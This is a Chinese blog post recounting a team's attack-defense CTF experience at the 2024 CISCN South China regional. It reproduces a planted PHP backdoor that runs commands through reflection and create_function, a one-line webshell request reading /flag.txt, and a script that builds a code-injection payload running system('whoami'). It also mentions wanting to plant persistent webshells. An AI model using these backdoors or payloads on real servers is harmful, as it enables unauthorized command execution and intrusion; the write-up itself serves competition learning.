2024ciscn华南分区赛

Last updated on September 27, 2024 am

国赛华南分区赛——桂林之旅

拿了个二等奖,国赛就到这了,还是太菜了

除了前面利用ssh抢先拿了几个flag,然后利用后门收了一波,后面由于没有做权限维持,其他队伍又修了洞就开始掉分了,还好最后pwn手解出来了挽回一些分数冲了二等。由于环境出了问题,本来10点应该开始的比赛等到12点多才开始,而且比赛没有延时,也就是从6个小时变成了4个小时。题目web的java和pwn裁判说出题人权限没设好导致基本没办法fix,只能攻不能守。java题居然是初赛原题,可惜初赛java没来得及看,java很久才和本地打通,但这个时候已经被人搅屎了,全场的java主机ssh都被定时断开失联,导致java还没利用到就结束了。不过也让我们后面免受其他队的挨打,只受到一两个队的挨打。

这次的php题目是预留了两个后门,一个是一句话木马,一个是通过反射调用create_function来执行命令

访问后门的很简单,D盾就能扫出来,很多队都修了,剩下几个没修的

1
/Home/template/default/adminpanel.php?backdoor=system("cat /flag.txt");

另一个后门就比较难发现,当时也是没发现,然后被人利用后种了不死马

赛后复现发现其实利用也很简单,当时要是仔细审代码也许能够发现这个后门,都把时间花在java上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
//去除报错
#error_reporting(0);
//设置超时
set_time_limit(300);
//全局变量

class go {

//password
public $pass = "command";

public function run(){
if($this->checkPass()){
$param = $this->parser($this->getData()->data);
if($param){
$instance = new TLKNQWFlogin();
$reflectionClass = new ReflectionClass('TLKNQWFlogin');
$reflectionProperty = $reflectionClass->getProperty($instance->func);
$reflectionProperty->setAccessible(true);
$command = $reflectionProperty->getValue($instance);
$reflectionMethod = new ReflectionFunction($command);
$result = $reflectionMethod->invoke($param,"_");
echo $result;
}else{
echo "parser is wrong!";
}
}else{
echo "pass is wrong!";
}
}
#检查key
public function checkPass(){
if(isset($_REQUEST[$this->pass])){
return true;
}
return false;
}
//获取请求数据
public function getData(){
$this->data = $_REQUEST[$this->pass];
return $this;
}
// //解析参数加密
public function parser($param){
$data = base64_decode($param);
$key = substr($data,0,strlen($this->pass));
if ($key == $this->pass){
$data = substr_replace($data,'',0,strlen($this->pass));
$this->data = base64_decode($data);
return base64_decode($data);
}else{
return false;
}
}
}
function calc($password,$func){
$functions = $func('$a', "echo $password");
$functions('');
return "Command";
}
class TLKNQWFlogin {
private $command;
public $func = "command";
public function __construct() {
$this->command = function ($param,$magic) { return calc($param.'exit();',"create".$magic."function") ; };

}
}

$a = new go();
$a->run();
1
2
3
4
5
6
7
8
<?php

$command="1;}system('whoami');/*";
$command=base64_encode($command);
$str="command".$command;
echo base64_encode($str);

?>
1
http://localhost/html/A/t/tpl/common/Command.php?command=Y29tbWFuZE1UdDljM2x6ZEdWdEtDZDNhRzloYldrbktUc3ZLZz09

这里直接访问是因为admin.php的路由里面写了/A/t/tpl下面是静态文件,

1
2
//定义静态文件路径
define('Tpl_style','/A/t/tpl');

静态文件是可以直接通过路径访问到的

此次比赛深刻教训:要去学学怎么种不死马维持权限, 不然只能拿到前面几轮的flag后面基本就只有挨打的份了。


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/06/10/2024ciscn%E5%8D%8E%E5%8D%97%E5%88%86%E5%8C%BA%E8%B5%9B/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!